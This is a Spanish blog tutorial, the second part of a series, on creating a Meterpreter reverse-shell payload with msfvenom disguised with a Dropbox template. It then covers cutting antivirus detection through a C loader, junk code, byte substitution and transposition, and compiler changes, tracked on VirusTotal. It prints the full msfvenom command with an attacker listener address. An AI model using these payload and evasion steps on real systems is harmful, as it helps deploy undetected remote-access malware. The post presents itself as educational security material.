CARGANDO

Escribe para buscar

Creación y evasión de malware con MSFvenom II

Creación y evasión de malware con MSFvenom II

Disclamer: Todas las pruebas, ejemplos, códigos y/o explicaciones que aquí se exponen tienen un ámbito didáctico. Se rechaza cualquier actividad ilícita generada por lo expuesto en este escrito.

En el anterior post se habló acerca de la creación de un malware con MSFvenom y una primera fase de evasión de sistemas antimalware. En esta entrada, se seguirán aplicando técnicas de evasión con la finalidad de que este malware sea detectable por el menor número de sistemas posibles.

Se parte del último análisis en VirusTotal, donde el malware era reconocido por 36 de 70 sistemas de antimalware.

Técnicas de evasión

Para reducir la detección, la técnica que se explotará a continuación, es la creación de una aplicación propia que tenga el código del payload ofuscado dentro. Por ello, en primer lugar, se creará el payload en código C. Esto se realiza igual que se venia haciendo hasta ahora, aprovechando el encoder “shikata_ga_nai” y el template de Dropbox.

# msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows lhost=192.168.200.203 lport=9876 -e x86/shikata_ga_nai -i 10 -k -x Dropbox.exe -f c

El resultado obtenido tiene el payload ofuscado. Es decir, ese conjunto de caracteres sin mucho sentido, en realidad, es la reverse shell que se necesita ejecutar.

Una vez hecho esto, creamos un archivo en C en nuestro IDE favorito, en este caso Visual Studio Code, y pegamos el código ofuscado.

Esta pequeña aplicación en C tendrá tres partes. En primer lugar, la declaración de las librerías que se han visto en la captura anterior. Estas librerías, además de ser usadas, hacen que una aplicación sea “mas confiable”. Una aplicación sin librerías es extraña.

Por otro lado, el código ofuscado que se ha visto anteriormente, entregado por MSFvenom y que se pegará tal cual.

Por último, la clase “main” donde se realizará la llamada al payload y que se muestra a continuación.

Llegados a este punto, se compila la pequeña aplicación creando un ejecutable “.exe” desde Visual, y se vuelve a analizar en VirusTotal el resultante.

Mediante esta técnica se ha reducido los sistemas de detección de 36 a 29, lo que se considera una mejora significativa pero todavía muy alta.

Continuamos modificando nuestra aplicación para tratar de hacerla mas confiable. Esto lo haremos agregando alguna línea sin ninguna función aparente como es, “dormir” la aplicación por 60 segundos y, por otro lado, incluir una instrucción de impresión por pantalla.

Incluir este tipo de instrucciones no tienen otro sentido que tratar de hacer la aplicación mas confiable o  normal, y que no coincida con ninguna firma de virus conocida.

Analizando nuevamente la aplicación compilada en VirusTotal obtenemos una mejora del resultado destacable para las acciones tomadas.

El siguiente paso que se realiza, es incluir código basura. Código que no proporciona ningún tipo de funcionalidad pero puede ser útil para reducir la detección.

Seguidamente se trabaja con una “ofuscación” manual. Esto es alterar el payload ya ofuscado mediante un proceso propio y manual, cambiando los valores por unos diferentes. De esta forma, la reverse shell no funcionará sin una traducción previa en tiempo de ejecución.

Este cambio lo que supondrá es cambiar los valores “0x10 -> 0x99”, “0x39 -> 0x98”, etc. Haremos previamente un ejercicio manual para cambiarlo y, en el código, se agregará la traducción que será necesaria para el correcto funcionamiento:

Al analizar de nuevo con VirusTotal no parece que estos mecanismo hayan supuesto mucha mejoría :(

A continuación, se trabaja con una trasposición en el código de la reverse shell. Para esto, preparamos el código ofuscado restando una cantidad de 23 a cada char del payload. Seguidamente, sumamos esas mismas 23 unidades para dejarlo como estaba.

Con esto se trata de hacer irreconocible el payload en un análisis estático.

Para la construcción del payload inicial es posible apoyarse en un bucle adicional. Todo este proceso hará ilegible el payload, siendo necesario construirlo en tiempo de ejecución para su correcta ejecución.

Al subirlo ahora a VirusTotal si obtenemos una mejoría.

Otra cosa que es posible hacer en nuestra aplicación y a veces se pasa por alto, es cambiar el IDE. Curiosamente, al cambiar el IDE actual (Visual Studio Code con “gcc”) por Visual Studio 2022, los índices de detección se redujeron. Si es cierto que este entorno es algo mas restrictivo, teniendo que cambiar el código:

Por otro lado, también se cambia la biblioteca en tiempo de ejecución por Multiproceso (/MT).

Al realizar nuevamente el análisis en VirusTotal, se puede observar que la detección se ha visto reducida.

Conclusiones

En estas dos entradas, se ha visto como crear un malware con MSFvenom y reducir su detección desde 54 a 10 firmas independientes. Esto todavía es un índice muy alto y es muy probable que muchos sistemas antimalware detecten la aplicación en tiempo de ejecución. Aun así, lo que se ha tratado de trasmitir es diferentes técnicas de evasión y no la creación de un malware indetectable.

Espero que os hayan entretenido estos post y sabéis que estamos encantados de leeros en comentarios para saber vuestra inquietudes! :)

Ah, hola 👋
Un placer conocerte.

Veo que te gusta la tecnología, ¿quieres que te mandemos una newsletter semanal?.

Acepto la política de privacidad *

¡No enviamos spam!. yo también lo odio a muerte!.

Tags:

También podría gustarte

2 Comentarios

  1. NETFINDER julio 29, 2023

    Cada vez mejor contenido. Me alegro de qué el blog siga tan vivo y ayudando a mejorar el conocimiento de muchos de nosotros. Gracias SyS

    Responder
    1. Daniel Consentini julio 30, 2023

      Muchas gracias a ti por tu comentario!!
      Me alegra mucho que el contenido guste y sirva de algo. Siempre os agradecemos este feedback y saber que realmente alguien se puede aprovechar de ello.
      Como siempre, muchas gracias por pasarte por aquí ;)

      Responder

Deja un Comentario

Your email address will not be published. Required fields are marked *